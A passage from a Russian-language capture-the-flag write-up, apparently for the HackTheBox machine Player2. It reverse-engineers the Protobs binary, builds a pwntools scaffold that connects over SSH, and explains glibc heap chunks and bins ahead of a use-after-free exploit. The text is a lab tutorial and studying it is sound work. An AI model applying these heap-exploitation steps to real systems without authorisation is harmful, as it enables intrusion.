src=\"https:\/\/habrastorage.org\/webt\/pr\/du\/ur\/prduurysigxkacqv3shc98c4ibi.png\"><\/p>\n<p>  \u0410 \u0432\u043e\u0442 \u043f\u0440\u0438 2, \u043c\u044b \u043c\u043e\u0436\u0435\u043c \u0438\u0445 \u0441\u043e\u0437\u0434\u0430\u0432\u0430\u0442\u044c. \u0421 \u0434\u0430\u043d\u043d\u044b\u043c \u043a\u043e\u0434\u043e\u043c \u043f\u0440\u0438\u0434\u0435\u0442\u0441\u044f \u043f\u043e\u0440\u0430\u0431\u043e\u0442\u0430\u0442\u044c.<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/f_\/am\/11\/f_am11mjc4unxe4xfrgvgo7zslq.png\"><\/p>\n<p>  \u0412 \u0441\u0442\u0440\u043e\u043a\u0430\u0445 13-15: \u0444\u0443\u043d\u043a\u0446\u0438\u044f sub_400C8B, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u043c\u044b \u0441\u0440\u0430\u0437\u0443 \u0436\u0435 \u043f\u043e\u043f\u0430\u0434\u0430\u0435\u043c \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0447\u0438\u0441\u043b\u043e \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0439, \u0438 \u0435\u0441\u043b\u0438 \u0441\u0432\u043e\u0431\u043e\u0434\u043d\u043e\u0433\u043e \u043c\u0435\u0441\u0442\u0430 \u0434\u043b\u044f \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f \u043d\u043e\u0432\u043e\u0439 \u043d\u0435\u0442 (\u0432\u0441\u0435\u0433\u043e \u043c\u043e\u0436\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u0442\u044c 14), \u0442\u043e \u0444\u0443\u043d\u043a\u0446\u0438\u044f sub_400C3E \u0432\u044b\u0432\u043e\u0434\u0438\u0442 \u043e\u0448\u0438\u0431\u043a\u0443.<\/p>\n<p>  \u0412 \u0441\u0442\u0440\u043e\u043a\u0430\u0445 16-18: \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u0432\u044b\u0434\u0435\u043b\u0435\u043d\u0438\u0435 \u043f\u0430\u043c\u044f\u0442\u0438 \u0434\u043b\u044f \u043d\u043e\u0432\u043e\u0439 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438.<\/p>\n<p>  \u0412 \u0441\u0442\u0440\u043e\u043a\u0430\u0445 19-30 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u0437\u0430\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043f\u043e\u043b\u0435\u0439, \u0441\u0442\u0440\u043e\u043a\u043e\u0432\u044b\u043c\u0438 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430\u043c\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u0435\u0440\u0435\u0432\u043e\u0434\u044f\u0442\u0441\u044f \u0432 \u0434\u043b\u0438\u043d\u043d\u043e\u0435 \u0446\u0435\u043b\u043e\u0435 \u0447\u0438\u0441\u043b\u043e\u0432\u043e\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 (\u043a\u0440\u043e\u043c\u0435 \u0438\u043c\u0435\u043d\u0438). \u0414\u0430\u043b\u0435\u0435 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u0437\u0430\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 Description. \u0415\u0441\u043b\u0438 \u043c\u044b \u0432\u0432\u0435\u0434\u0435\u043c 3, \u0442\u043e \u0443 \u043d\u0430\u0441 \u0437\u0430\u043f\u0440\u043e\u0441\u044f\u0442 \u0438\u043d\u0434\u0435\u043a\u0441 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438, \u0438 \u043e\u0442\u043e\u0431\u0440\u0430\u0437\u044f\u0442 \u0435\u0435.<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/ye\/wi\/lv\/yewilvauxy6ecvdmlyuzsepffdi.png\"><\/p>\n<p>  \u0418 \u043f\u0440\u0438 4 \u2014 \u0443\u0434\u0430\u043b\u044f\u044e\u0442 \u0443\u043a\u0430\u0437\u0430\u043d\u043d\u0443\u044e \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u044e.<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/51\/q0\/ld\/51q0lderi0r-z600egj_vjuqeeo.png\"><\/p>\n<p>  \u0421\u0442\u043e\u0438\u0442 \u043e\u0431\u0440\u0430\u0442\u0438\u0442\u044c \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435 \u043d\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0444\u0443\u043d\u043a\u0446\u0438\u0439 malloc \u0438 free \u0434\u043b\u044f \u0432\u044b\u0434\u0435\u043b\u0435\u043d\u0438\u044f \u0438 \u043e\u0441\u0432\u043e\u0431\u043e\u0436\u0434\u0435\u043d\u0438\u044f \u043f\u0430\u043c\u044f\u0442\u0438 \u0432 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0435. \u042d\u0442\u043e \u043d\u0430\u0442\u0430\u043b\u043a\u0438\u0432\u0430\u0435\u0442 \u043d\u0430 \u043c\u044b\u0441\u043b\u044c \u043e UAF. \u0414\u043b\u044f \u043d\u0430\u0447\u0430\u043b\u0430 \u0441\u043e\u0437\u0434\u0430\u0434\u0438\u043c \u0448\u0430\u0431\u043b\u043e\u043d \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442\u0430. \u041c\u044b \u0431\u0443\u0434\u0435\u043c \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0430\u0442\u044c\u0441\u044f \u043f\u043e SSH \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0443 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f pwntools.  <\/p>\n<pre><code class=\"python\">#!\/usr\/bin\/python3 from pwn import *  context.log_level = 'error' binary = ELF('.\/Protobs') libc = ELF('.\/libc.so.6') remoteShell = ssh(host = 'player2.htb', user='observer', keyfile='.\/player2.key') remoteShell.set_working_directory(b'\/opt\/Configuration_Utility') p = remoteShell.process(b'.\/Protobs') context.log_level = 'info' log.success(&quot;Start exploit&quot;)  p.interactive()<\/code><\/pre>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/hy\/fm\/zr\/hyfmzrgwlsvf3wmebmj1-hhippw.png\"><\/p>\n<p>  \u041e\u0442\u043b\u0438\u0447\u043d\u043e. \u0422\u0435\u043f\u0435\u0440\u044c \u0434\u0430\u0432\u0430\u0439\u0442\u0435 \u0440\u0435\u0430\u043b\u0438\u0437\u0443\u0435\u043c \u043e\u0441\u043d\u043e\u0432\u043d\u044b\u0435 \u0444\u0443\u043d\u043a\u0446\u0438\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0441\u043e\u0437\u0434\u0430\u044e\u0442 (\u0432\u044b\u0434\u0435\u043b\u044f\u044e\u0442 \u043f\u0430\u043c\u044f\u0442\u044c), \u0447\u0438\u0442\u0430\u044e\u0442 (\u043e\u0431\u0440\u0430\u0449\u0430\u044e\u0442\u0441\u044f \u043a \u043f\u0430\u043c\u044f\u0442\u0438) \u0438 \u0438 \u0443\u0434\u0430\u043b\u044f\u0435\u0442 (\u043e\u0441\u0432\u043e\u0431\u043e\u0436\u0434\u0430\u0435\u0442 \u043f\u0430\u043c\u044f\u0442\u044c) \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438.  <\/p>\n<pre><code class=\"python\">def alloc(size, desc, game=b'', contrast=b'0',gamma=b'0',resX=b'0',resY=b'0',controller=b'0'):     p.sendlineafter(b&quot;protobs@player2:~$ &quot;, b&quot;2&quot;)     p.sendlineafter(b&quot;]: &quot;, game, timeout=1)     p.sendlineafter(b&quot;]: &quot;, contrast, timeout=1)     p.sendlineafter(b&quot;]: &quot;, gamma, timeout=1)     p.sendlineafter(b&quot;]: &quot;, resX, timeout=1)     p.sendlineafter(b&quot;]: &quot;, resY, timeout=1)     p.sendlineafter(b&quot;]: &quot;, controller, timeout=1)     p.sendlineafter(b&quot;]: &quot;, str(size).encode(), timeout=1)     if size:         p.sendlineafter(b&quot;]: &quot;, desc, timeout=1)  def free(index):     p.sendlineafter(b&quot;protobs@player2:~$ &quot;, b&quot;4&quot;)     p.sendlineafter(b&quot;]: &quot;, str(index).encode(), timeout=1)  def show(index):     p.sendlineafter(b&quot;protobs@player2:~$ &quot;, b&quot;3&quot;) p.sendlineafter(b&quot;]: &quot;, str(index).encode(), timeout=1)<\/code><\/pre>\n<p>  \u0427\u0442\u043e\u0431\u044b \u0431\u044b\u043b\u043e \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e \u043e\u0442\u043b\u0430\u0434\u0438\u0442\u044c \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0443, \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u043d\u0435\u043c\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u043f\u0430\u0442\u0447\u0438\u0442\u044c \u0431\u0438\u043d\u0430\u0440\u043d\u044b\u0439 \u0444\u0430\u0439\u043b, \u0434\u043b\u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u043d\u0443\u0436\u043d\u043e\u0439 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438.<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/b5\/qg\/tl\/b5qgtly2gr6zw1uksb8ptwgffzm.png\"><\/p>\n<pre><code class=\"bash\">patchelf Protobs --set-interpreter \/lib64\/ld-linux-x86-64.so.2 patchelf Protobs --set-rpath \/opt\/Configuration_Utility\/:\/opt\/Configuration_Utility\/:libc.so.6<\/code><\/pre>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/yg\/vu\/qs\/ygvuqsx6527eddwogk4rbhvj8qy.png\"><\/p>\n<p>  \u0422\u0435\u043f\u0435\u0440\u044c \u0440\u0430\u0437\u0431\u0435\u0440\u0435\u043c\u0441\u044f \u0441 UAF.<\/p>\n<h2>\u041f\u0430\u043c\u044f\u0442\u044c \u0432 \u043a\u0443\u0447\u0435<\/h2>\n<p>  \u0421\u043f\u0435\u0440\u0432\u0430 \u0441\u0442\u043e\u0438\u0442 \u0440\u0430\u0437\u043e\u0431\u0440\u0430\u0442\u044c\u0441\u044f \u043a\u0430\u043a \u0443\u0441\u0442\u0440\u043e\u0435\u043d\u0430 \u043f\u0430\u043c\u044f\u0442\u044c, \u043a\u0430\u043a \u043e\u043d\u0430 \u0432\u044b\u0434\u0435\u043b\u044f\u0435\u0442\u0441\u044f \u0438 \u043e\u0441\u0432\u043e\u0431\u043e\u0436\u0434\u0430\u0435\u0442\u0441\u044f. \u0421\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430, \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u0430\u044f \u0432 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0435, \u0438\u043c\u0435\u0435\u0442 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 \u0432\u0438\u0434 (\u0432 \u043a\u043e\u043c\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u044f\u0445 \u0443\u043a\u0430\u0437\u0430\u043d\u044b \u0440\u0430\u0437\u043c\u0435\u0440 \u043f\u0430\u043c\u044f\u0442\u0438 \u0434\u043b\u044f \u043a\u0430\u0436\u0434\u043e\u0439 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u043e\u0439):<br \/>  <code>struct conf{<br \/>   char Game[20]; \/\/ size 20<br \/>   unsigned int Contrast; \/\/ size 4<br \/>   unsigned int Gamma; \/\/ size 4<br \/>   unsigned int X_Axis; \/\/ size 4<br \/>   unsigned int Y_Axis; \/\/ size 4<br \/>   unsigned int Controller; \/\/ size 4<br \/>   unsigned int Size; \/\/ size 4<br \/>   char *Description; \/\/ size 8<br \/>  }<\/code><br \/>  \u041f\u043e\u0447\u0435\u043c\u0443 \u0437\u0430\u043f\u0440\u0430\u0448\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u0434\u043b\u044f \u0440\u0435\u0437\u0435\u0440\u0432\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f 56 \u0431\u0430\u0439\u0442, \u0435\u0441\u043b\u0438 \u0432 \u0441\u0430\u043c\u043e\u0439 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f 52? \u0412\u0441\u0435 \u0434\u0435\u043b\u043e \u0432 \u0432\u044b\u0440\u0430\u0432\u043d\u0438\u0432\u0430\u043d\u0438\u0438 \u043f\u0430\u043c\u044f\u0442\u0438 (\u044d\u0442\u043e \u044f \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u043b <a href=\"https:\/\/habr.com\/ru\/post\/462895\/\">\u0442\u0443\u0442<\/a>). \u041d\u043e \u044d\u0442\u043e \u0435\u0449\u0435 \u043d\u0435 \u0432\u0441\u0435, \u043a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, \u0447\u0442\u043e \u043d\u0430\u043c \u0440\u0435\u0430\u043b\u044c\u043d\u043e \u043d\u0443\u0436\u043d\u043e 52 \u0431\u0430\u0439\u0442\u0430, \u0430 \u043c\u044b \u0434\u043e\u043b\u0436\u043d\u044b \u0432\u044b\u0434\u0435\u043b\u0438\u0442\u044c 56, \u0444\u0443\u043d\u043a\u0446\u0438\u044f malloc \u0437\u0430\u0440\u0435\u0437\u0435\u0440\u0432\u0438\u0440\u0443\u0435\u0442 64 \u0431\u0430\u0439\u0442\u0430! <\/p>\n<p>  \u0422\u0430\u043a \u043a\u0430\u043a \u0432\u044b\u0434\u0435\u043b\u0435\u043d\u0438\u0435 \u043f\u0430\u043c\u044f\u0442\u0438 \u0431\u0443\u0434\u0435\u0442 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442\u044c \u0438\u0437 \u043d\u0435\u0440\u0430\u0437\u0434\u0435\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0441\u0442\u0432\u0430 \u043a\u0443\u0447\u0438, \u0442\u043e \u044d\u0442\u043e \u0431\u0443\u0434\u0435\u0442 \u0441\u0434\u0435\u043b\u0430\u043d\u043e \u043f\u043e\u0431\u043b\u043e\u0447\u043d\u043e. \u041d\u0438\u0436\u0435 \u043f\u0440\u0438\u0432\u0435\u0434\u0435\u043d\u044b \u0434\u0432\u0430 \u0431\u043b\u043e\u043a\u0430 \u043f\u0430\u043c\u044f\u0442\u0438: \u0432\u044b\u0434\u0435\u043b\u0435\u043d\u043d\u044b\u0435 \u0438 \u0441\u0432\u043e\u0431\u043e\u0434\u043d\u044b\u0439.<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/sv\/pw\/jk\/svpwjkk_l9ngng9ebkhka4oj0ku.png\"><\/p>\n<p>  \u0422\u0430\u043a\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c, \u0441\u043d\u0430\u0447\u0430\u043b\u0430 \u0440\u0430\u0437\u043c\u0435\u0440 \u0431\u043b\u043e\u043a\u0430, \u0438 \u0444\u043b\u0430\u0433 U \u2014 \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u044e\u0449\u0438\u0439 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 1, \u0435\u0441\u043b\u0438 \u0431\u043b\u043e\u043a \u0437\u0430\u043d\u044f\u0442, \u0438 0 \u2014 \u0435\u0441\u043b\u0438 \u0441\u0432\u043e\u0431\u043e\u0434\u0435\u043d \u0438 \u0434\u043e\u0441\u0442\u0443\u043f\u0435\u043d \u0434\u043b\u044f \u0432\u044b\u0434\u0435\u043b\u0435\u043d\u0438\u044f. \u0414\u0430\u043b\u0435\u0435 \u043f\u0435\u0440\u0432\u044b\u0435 8 \u0431\u0430\u0439\u0442 \u0441\u0432\u043e\u0431\u043e\u0434\u043d\u043e\u0433\u043e \u0431\u043b\u043e\u043a\u0430 \u0437\u0430\u043d\u0438\u043c\u0430\u0435\u0442 \u0443\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c FP \u043d\u0430 \u0430\u0434\u0440\u0435\u0441 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0433\u043e \u0442\u0430\u043a\u043e\u0433\u043e \u0436\u0435 \u0441\u0432\u043e\u0431\u043e\u0434\u043d\u043e\u0433\u043e \u0431\u043b\u043e\u043a\u0430, \u0438 \u0432\u0442\u043e\u0440\u044b\u0435 8 \u0431\u0430\u0439\u0442 \u0437\u0430\u043d\u044f\u0442\u044b \u0443\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u0435\u043c \u043d\u0430 \u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0438\u0439 \u043f\u043e\u0434\u043e\u0431\u043d\u044b\u0439 \u0441\u0432\u043e\u0431\u043e\u0434\u043d\u044b\u0439 \u0431\u043b\u043e\u043a. \u0412\u043e\u0442 \u043e\u0442\u0441\u044e\u0434\u0430 \u0438 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442\u0441\u044f 56 + 8 = 64 \u0431\u0430\u0439\u0442\u0430 \u0434\u043b\u044f \u0431\u043b\u043e\u043a\u0430.<\/p>\n<p>  \u0412\u0435\u0440\u043d\u0435\u043c\u0441\u044f \u043a \u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b. \u0415\u0441\u043b\u0438 size \u043d\u0435 \u0440\u0430\u0432\u0435\u043d 0, \u0442\u043e \u0441\u043d\u043e\u0432\u0430 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u0440\u0435\u0437\u0435\u0440\u0432\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u043f\u0430\u043c\u044f\u0442\u0438 \u0444\u0443\u043d\u043a\u0446\u0438\u0435\u0439 malloc.<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/wb\/vu\/bp\/wbvubpdtarnzi9gzhmf8muwe99c.png\"><\/p>\n<p>  \u0422\u0430\u043a\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c, \u0432\u0441\u043b\u0435\u0434 \u0437\u0430 \u043d\u0430\u0448\u0435\u0439 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u043e\u0439, \u0431\u0443\u0434\u0435\u0442 \u0440\u0430\u0441\u043f\u043e\u043b\u043e\u0436\u0435\u043d\u0430 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u0430\u044f desc. \u0418 \u0434\u0430\u043d\u043d\u043e\u0435 \u0432\u044b\u0441\u043a\u0430\u0437\u044b\u0432\u0430\u043d\u0438\u0435 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0435\u0442\u0441\u044f \u043d\u0430 \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0435 \u2014 \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0438\u043c \u043a\u0443\u0447\u0443 \u043f\u0440\u0438 \u043e\u0442\u043b\u0430\u0434\u043a\u0435 (\u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e IDA).<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/lw\/fa\/dx\/lwfadxj0ytliqcngnvu49no7kfu.png\"><\/p>\n<p>  \u0421\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430 \u0437\u0430\u0433\u0440\u0443\u0436\u0435\u043d\u0430 \u043f\u043e \u0430\u0434\u0440\u0435\u0441\u0443 0x12a72a0, \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u0430\u044f size \u043f\u043e \u0430\u0434\u0440\u0435\u0441\u0443 0x12a72c8, \u0443\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c \u043d\u0430 desc \u2014 0x12a72d0 \u0438 \u0441\u0430\u043c\u0430 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u0430\u044f desc \u043f\u043e \u0430\u0434\u0440\u0435\u0441\u0443 0x12a72e0.<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/qx\/pj\/9p\/qxpj9pljza_ksaaxli2omd4fv5k.png\"><\/p>\n<p>  \u0427\u0442\u043e\u0431\u044b \u0431\u044b\u043b\u043e \u0443\u0434\u043e\u0431\u043d\u0435\u0435 \u0440\u0430\u0431\u043e\u0442\u0430\u0442\u044c, \u0432\u044b\u0434\u0435\u043b\u0438\u043c \u0434\u0430\u043d\u043d\u0443\u044e \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443 \u0438 \u0432\u044b\u0431\u0438\u0440\u0430\u0435\u043c \u201cCreate struct from selection\u201d. <\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/yw\/tt\/q9\/ywttq90vssc24tp5tdlttlpzxru.png\"><\/p>\n<p>  \u0418 \u0442\u0435\u043f\u0435\u0440\u044c \u0434\u0430\u043d\u043d\u044b\u0435 \u0432 \u043a\u0443\u0447\u0435 \u0432\u044b\u0433\u043b\u044f\u0434\u044f\u0442 \u043a\u0443\u0434\u0430 \u043f\u0440\u0438\u044f\u0442\u043d\u0435\u0435.<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/dr\/dt\/ek\/drdtekjgcxcedbrohwxopbcf5qy.png\"><\/p>\n<p>  \u041a\u0443\u0434\u0430 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u0435\u0435 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u043e\u0441\u0432\u043e\u0431\u043e\u0436\u0434\u0435\u043d\u0438\u0435 \u043f\u0430\u043c\u044f\u0442\u0438. \u0421\u043d\u0430\u0447\u0430\u043b\u0430 \u0443\u0434\u0430\u043b\u044f\u0435\u0442\u0441\u044f desc, \u0430 \u043f\u043e\u0442\u043e\u043c \u0441\u0430\u043c\u0430 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430.<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/34\/bb\/zm\/34bbzmsmcerk84czkydxbd2ti4c.png\"><\/p>\n<p>  \u0414\u0435\u043b\u043e \u0432 \u0442\u043e\u043c, \u0447\u0442\u043e \u043f\u0440\u0438 \u043e\u0441\u0432\u043e\u0431\u043e\u0436\u0434\u0435\u043d\u0438\u0438 \u043f\u0430\u043c\u044f\u0442\u0438 \u0444\u0443\u043d\u043a\u0446\u0438\u044f free() \u0437\u0430\u043f\u0438\u0448\u0435\u0442 \u0432\u043c\u0435\u0441\u0442\u043e \u0434\u0430\u043d\u043d\u044b\u0445, \u0440\u0430\u0441\u043f\u043e\u043b\u043e\u0436\u0435\u043d\u043d\u044b\u0445 \u043f\u043e \u0434\u0430\u043d\u043d\u043e\u043c\u0443 \u0430\u0434\u0440\u0435\u0441\u0443, \u0430\u0434\u0440\u0435\u0441 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u0433\u043e \u0447\u0430\u043d\u043a\u0430 \u043f\u0430\u043c\u044f\u0442\u0438 \u0438 \u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0435\u0433\u043e. \u041f\u0440\u043e\u0432\u0435\u0440\u0438\u043c \u043d\u0430 \u043f\u0440\u0438\u043c\u0435\u0440\u0435.<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/6i\/rt\/ra\/6irtra2cih5lxldau_yfnugiwz8.png\"><\/p>\n<p>  \u0423\u0434\u0430\u043b\u0435\u043d\u0438\u0435 desc: \u0442\u0430\u043a \u043a\u0430\u043a \u0440\u044f\u0434\u043e\u043c \u043d\u0435\u0442 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u0433\u043e \u0447\u0430\u043d\u043a\u0430, \u0442\u043e \u0432\u043c\u0435\u0441\u0442\u043e \u0441\u0442\u0440\u043e\u043a\u0438 desc (\u043f\u043e \u0430\u0434\u0440\u0435\u0441\u0443 0x12a72e0) \u0437\u0430\u043f\u0438\u0441\u0430\u043d\u044b 0 \u0438 0x12a7010. \u0423\u0434\u0430\u043b\u0435\u043d\u0438\u0435 \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440\u0430 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b: \u043f\u043e \u0430\u0434\u0440\u0435\u0441\u0443 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b (0x12a72a0) \u0437\u0430\u043f\u0438\u0441\u0430\u043d\u044b \u0430\u0434\u0440\u0435\u0441 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u0433\u043e \u0447\u0430\u043d\u043a\u0430 0x12a72e0 (\u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0442\u043e\u043b\u044c\u043a\u043e \u0447\u0442\u043e \u043e\u0441\u0432\u043e\u0431\u043e\u0434\u0438\u043b\u0430 \u0441\u0442\u0440\u043e\u043a\u0430 desc) \u0438 0x12a7010.<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/et\/-6\/mo\/et-6mo5rihvvlskjndvduhr6gkm.png\"><\/p>\n<p>  \u0421\u0442\u043e\u0438\u0442 \u043e\u0442\u043c\u0435\u0442\u0438\u0442\u044c, \u0447\u0442\u043e \u043f\u0440\u0438 \u043f\u043e\u0432\u0442\u043e\u0440\u043d\u043e\u043c \u0432\u044b\u0434\u0435\u043b\u0435\u043d\u0438\u0438 \u043f\u0430\u043c\u044f\u0442\u0438, \u0431\u0443\u0434\u0435\u0442 \u0432\u044b\u0434\u0435\u043b\u0435\u043d \u043d\u0435\u0434\u0430\u0432\u043d\u043e \u043e\u0441\u0432\u043e\u0431\u043e\u0434\u0438\u0432\u0448\u0438\u0439\u0441\u044f \u0447\u0430\u043d\u043a, \u0435\u0441\u043b\u0438 \u043e\u043d \u0443\u0434\u043e\u0432\u043b\u0435\u0442\u0432\u043e\u0440\u044f\u0435\u0442 \u0440\u0430\u0437\u043c\u0435\u0440\u0443 \u0440\u0435\u0437\u0435\u0440\u0432\u0438\u0440\u0443\u0435\u043c\u043e\u0439 \u043f\u0430\u043c\u044f\u0442\u0438. \u0420\u0430\u0437\u0431\u0435\u0440\u0435\u043c \u043f\u043e\u0447\u0435\u043c\u0443 \u0442\u0430\u043a.<\/p>\n<p>  \u0417\u0434\u0435\u0441\u044c \u0443\u0436\u0435 \u0443\u043f\u043e\u043c\u0438\u043d\u0430\u043b\u043e\u0441\u044c \u043f\u0440\u043e \u0447\u0430\u043d\u043a\u0438, \u043d\u043e \u0441\u0442\u043e\u0438\u0442 \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u044c, \u0447\u0442\u043e \u0438\u0445 \u0431\u044b\u0432\u0430\u0435\u0442 \u0442\u0440\u0438 \u0432\u0438\u0434\u0430: fast, small \u0438 large (\u0440\u0430\u0437\u043d\u0438\u0446\u0430 \u0432 \u043e\u0431\u044a\u0435\u043c\u0435 \u043f\u0430\u043c\u044f\u0442\u0438). \u041f\u0440\u0438 \u043e\u0441\u0432\u043e\u0431\u043e\u0436\u0434\u0435\u043d\u0438\u0438, \u0434\u0430\u043d\u043d\u044b\u0435 \u0447\u0430\u043d\u043a\u0438 \u0431\u0443\u0434\u0443\u0442 \u0432\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u044b \u0432 \u0441\u043f\u0438\u0441\u043e\u043a. \u041d\u043e \u0434\u043b\u044f \u0447\u0430\u043d\u043a\u043e\u0432 \u0440\u0430\u0437\u043d\u043e\u0433\u043e \u0440\u0430\u0437\u043c\u0435\u0440\u0430 \u043f\u0440\u0435\u0434\u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u044b \u0440\u0430\u0437\u043d\u044b\u0435 \u0441\u043f\u0438\u0441\u043a\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u043a\u0430\u043a \u0434\u0432\u0443\u0441\u0432\u044f\u0437\u043d\u044b\u043c\u0438 \u0442\u0430\u043a \u0438 \u043b\u0438\u043d\u0435\u0439\u043d\u044b\u043c\u0438. \u0420\u0430\u0437\u043b\u0438\u0447\u0430\u044e\u0442 fast, small, large \u0438 unsorted \u0441\u043f\u0438\u0441\u043a\u0438. \u0423\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u0438 HEAD \u0438 TAIL \u0434\u043b\u044f \u0434\u0430\u043d\u043d\u044b\u0445 \u0441\u043f\u0438\u0441\u043a\u043e\u0432 